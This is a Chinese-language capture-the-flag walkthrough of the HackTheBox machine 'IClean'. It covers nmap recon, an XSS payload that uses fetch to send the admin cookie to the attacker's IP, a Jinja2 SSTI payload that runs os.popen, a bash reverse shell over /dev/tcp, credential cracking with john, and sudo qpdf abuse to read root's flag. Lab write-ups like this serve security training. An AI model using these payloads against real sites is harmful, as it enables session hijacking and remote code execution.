XSS跨站脚本攻击、SSTI模板注入
IClean
信息搜集
nmap扫描一下
1 | nmap -sV -v 10.10.11.12 -Pn |
扫描结果
1 | PORT STATE SERVICE VERSION |
访问80端口,发现跳转到capiclean.htb
,添加下/etc/hosts
扫描目录,可以发现/dashboard
路由可以,应该是经过身份验证跳转到/
1 | [22:00:12] 200 - 2KB - /about |
我们在/choose
路由下点击get a quote
勾选上去抓包,测试各个参数是否存在注入
在service参数成功测试出存在xss注入
(xss注入的payload均url编码过)
1 | <img src=http://10.10.14.54/> |
我们尝试读取下管理员cookie
1 | <img src=x onerror=fetch('http://10.10.14.54/'+document.cookie);> |
得到cookie后我们来验证一下,使用cookie成功访问/dashboard
我们按照Generate Invoice => Generate QR
顺序
先生成Invoice ID generated: 1223131481
,然后在第二步输入ID后点击Genrate
会生成下面的QR Code Link
我们抓包看看,注意到qr_link
的值出现在img标签中
经过测试该参数存在SSTI模板注入
回显49应该就是Jinja2,直接payload测试一下(__
直接unicode编码一下)
1 | {{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}} |
直接反弹shell(注意bash命令URL编码一下)
1 | {{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("bash -c 'bash -i >& /dev/tcp/1010.14.54/1028 0>&1'")|attr("read")()}} |
先提升下shell权限
然后在/opt/app/app.py
找到数据库信息
1 | # Database Configuration |
直接本地连接数据库mysql -u iclean -p -h localhost
,找到consuela的密码
先识别一下是什么加密,然后john爆破记得加上format
拿到密码simple and clean
后直接ssh连接就行
1 | ssh consuela@10.10.11.12 |
拿到user的flag
然后我们sudo -l
查看下可用的命令
用strings命令查看发现内容存在--help
参数,网上搜索发现qpdf是一个内容转换工具,有对应的使用文档
我们可以利用其参数读取root的flag(注意要在tmp目录下才能下载root.txt)